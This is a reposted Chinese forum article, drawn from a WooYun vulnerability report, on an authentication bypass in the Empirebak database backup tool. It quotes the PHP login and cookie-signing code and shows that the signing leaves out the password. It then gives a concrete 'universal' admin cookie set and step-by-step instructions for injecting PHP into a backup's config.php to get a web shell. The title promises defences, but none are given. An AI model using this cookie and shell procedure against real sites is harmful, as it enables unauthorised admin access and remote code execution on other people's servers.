江山多娇美如画 發表於 2015-9-14 23:14:48

帝国备份王(Empirebak)万能cookie及拿shell方法与防御

转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591 <br />1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456) <br /><br />登录成功设置4个cookie,看代码<br /><br />
<div class="codeText">
<div class="codeHead"><span class="lantxt">PHP Code</span><span onclick="copyIdText('code_9132')" class="copyCodeText" style="CURSOR: pointer">复制内容到剪贴板</span></div>
<div id="code_9132">
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;login(</span><span class="vars">$lusername</span><span>,</span><span class="vars">$lpassword</span><span>,</span><span class="vars">$key</span><span>,</span><span class="vars">$lifetime</span><span>=0){&nbsp; &nbsp;&nbsp;</span></span> </li>
    <li><span></span><span class="keyword">global</span><span>&nbsp;</span><span class="vars">$set_username</span><span>,</span><span class="vars">$set_password</span><span>,</span><span class="vars">$set_loginauth</span><span>,</span><span class="vars">$set_loginkey</span><span>;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">if</span><span>(</span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$lusername</span><span>)||</span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$lpassword</span><span>))&nbsp;{&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>printerror(</span><span class="string">&quot;EmptyLoginUser&quot;</span><span>,</span><span class="string">&quot;index.php&quot;</span><span>);&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="comment">//验证码&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">if</span><span>(!</span><span class="vars">$set_loginkey</span><span>)&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">if</span><span>(</span><span class="vars">$key</span><span>&lt;&gt;getcvar(</span><span class="string">'checkkey'</span><span>)||</span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$key</span><span>))&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>printerror(</span><span class="string">&quot;FailLoginKey&quot;</span><span>,</span><span class="string">&quot;index.php&quot;</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="keyword">if</span><span>(md5(</span><span class="vars">$lusername</span><span>)&lt;&gt;md5(</span><span class="vars">$set_username</span><span>)||md5(</span><span class="vars">$lpassword</span><span>)&lt;&gt;</span><span class="vars">$set_password</span><span>)&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>printerror(</span><span class="string">&quot;ErrorUser&quot;</span><span>,</span><span class="string">&quot;index.php&quot;</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="comment">//认证码&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">if</span><span>(</span><span class="vars">$set_loginauth</span><span>&amp;</span><span class="vars">$set_loginauth</span><span>!=</span><span class="vars">$_POST</span><span>[</span><span class="string">'loginauth'</span><span>])&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>printerror(</span><span class="string">&quot;ErrorLoginAuth&quot;</span><span>,</span><span class="string">&quot;index.php&quot;</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="vars">$logintime</span><span>=time();&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="vars">$rnd</span><span>=make_password(12);</span><span class="comment">//生成随机字符&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="vars">$s1</span><span>=esetcookie(</span><span class="string">&quot;bakusername&quot;</span><span>,</span><span class="vars">$lusername</span><span>,0);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="vars">$s2</span><span>=esetcookie(</span><span class="string">&quot;bakrnd&quot;</span><span>,</span><span class="vars">$rnd</span><span>,0);</span><span class="comment">//随机字符&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="vars">$s3</span><span>=esetcookie(</span><span class="string">&quot;baklogintime&quot;</span><span>,</span><span class="vars">$logintime</span><span>,0);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>Ebak_SCookieRnd(</span><span class="vars">$lusername</span><span>,</span><span class="vars">$rnd</span><span>);</span><span class="comment">//&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">if</span><span>(!</span><span class="vars">$s1</span><span>||!</span><span class="vars">$s2</span><span>)&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>printerror(</span><span class="string">&quot;NotOpenCookie&quot;</span><span>,</span><span class="string">&quot;index.php&quot;</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>printerror(</span><span class="string">&quot;LoginSuccess&quot;</span><span>,</span><span class="string">&quot;admin.php&quot;</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>}&nbsp;&nbsp;</span> </li>
</ol>
</div>
</div>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p>再看看make_password函数<br /><br /></p>
<div class="codeText">
<div class="codeHead"><span class="lantxt">PHP Code</span><span onclick="copyIdText('code_8236')" class="copyCodeText" style="CURSOR: pointer">复制内容到剪贴板</span></div>
<div id="code_8236">
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;make_password(</span><span class="vars">$pw_length</span><span>){&nbsp; &nbsp;&nbsp;</span></span> </li>
    <li><span></span><span class="vars">$low_ascii_bound</span><span>=50;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="vars">$upper_ascii_bound</span><span>=122;&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="vars">$notuse</span><span>=</span><span class="keyword">array</span><span>(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">while</span><span>(</span><span class="vars">$i</span><span>&lt;</span><span class="vars">$pw_length</span><span>)&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>mt_srand((double)microtime()*1000000);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="vars">$randnum</span><span>=mt_rand(</span><span class="vars">$low_ascii_bound</span><span>,</span><span class="vars">$upper_ascii_bound</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">if</span><span>(!in_array(</span><span class="vars">$randnum</span><span>,</span><span class="vars">$notuse</span><span>))&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>{&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="vars">$password1</span><span>=</span><span class="vars">$password1</span><span>.</span><span class="func">chr</span><span>(</span><span class="vars">$randnum</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span></span><span class="vars">$i</span><span>++;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>}&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="keyword">return</span><span>&nbsp;</span><span class="vars">$password1</span><span>;&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>}&nbsp;&nbsp;</span> </li>
</ol>
</div>
</div>
<p>这个函数只是生成随机数,再看看Ebak_SCookieRnd函数<br /><br /></p>
<div class="codeText">
<div class="codeHead"><span class="lantxt">PHP Code</span><span onclick="copyIdText('code_3838')" class="copyCodeText" style="CURSOR: pointer">复制内容到剪贴板</span></div>
<div id="code_3838">
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;Ebak_SCookieRnd(</span><span class="vars">$username</span><span>,</span><span class="vars">$rnd</span><span>){&nbsp; &nbsp;&nbsp;</span></span> </li>
    <li><span></span><span class="keyword">global</span><span>&nbsp;</span><span class="vars">$set_loginrnd</span><span>;</span><span class="comment">//$set_loginrnd为config.php里面的验证随机码&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span></span><span class="vars">$ckpass</span><span>=md5(md5(</span><span class="vars">$rnd</span><span>.</span><span class="vars">$set_loginrnd</span><span>).</span><span class="string">'-'</span><span>.</span><span class="vars">$rnd</span><span>.</span><span class="string">'-'</span><span>.</span><span class="vars">$username</span><span>.</span><span class="string">'-'</span><span>);</span><span class="comment">//没有把密码加进去,于是漏洞产生了&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li><span>esetcookie(</span><span class="string">&quot;loginebakckpass&quot;</span><span>,</span><span class="vars">$ckpass</span><span>,0);&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp;&nbsp;</span> </li>
</ol>
</div>
</div>
<p>下面给出万能cookie(key:value):<br /><br /></p>
<div class="codeText">
<div class="codeHead"><span class="lantxt">XML/HTML Code</span><span onclick="copyIdText('code_1183')" class="copyCodeText" style="CURSOR: pointer">复制内容到剪贴板</span></div>
<div id="code_1183">
<ol class="dp-xml">
    <li class="alt"><span><span>ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6&nbsp; &nbsp;&nbsp;</span></span> </li>
    <li><span>ebak_bakrnd:35y5cCnnA4Kh&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>ebak_bakusername:admin&nbsp; &nbsp;&nbsp;</span> </li>
    <li><span>ebak_baklogintime:4070883661&nbsp;&nbsp;</span> </li>
</ol>
</div>
</div>
<p>使用以上cookie即可直接访问admin.php <br /><br /><strong>2.拿shell</strong> <br /><br />后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库 <br /><br />备份数据,随便找个数据库备份, <br /><br />然后到替换目录文件内容里,选择刚才备份的数据库, <br /><br />将&rdquo;$b_table=&rdquo; <br /><br />替换成 <br /><br />&ldquo;phpinfo(); <br /><br />$b_table=&rdquo;<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201509/20150914231931.png" /><br />这里shell的路径就是bdata/mysql_20141007221849/config.php<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201509/20150914231932.png" /></p>
頁: [1]
查看完整版本: 帝国备份王(Empirebak)万能cookie及拿shell方法与防御